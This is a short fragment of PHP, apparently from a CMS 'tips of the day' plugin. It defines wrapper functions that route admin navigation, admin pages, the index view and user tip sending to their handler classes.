function tipsoftheday_admin_nav(&$sub_menu)
{
	tipsadmin::TipsAdmin()->AdminNav(&$sub_menu);
}

function tipsoftheday_admin()
{
	tipsadmin::TipsAdmin()->AdminTips();
}

function tipsoftheday_index()
{
	tipsoftheday::Tips()->Index_tips();
}

function tipsusers()
{
	Tips_Send_User::Tips()->Tips_Users();
}
?>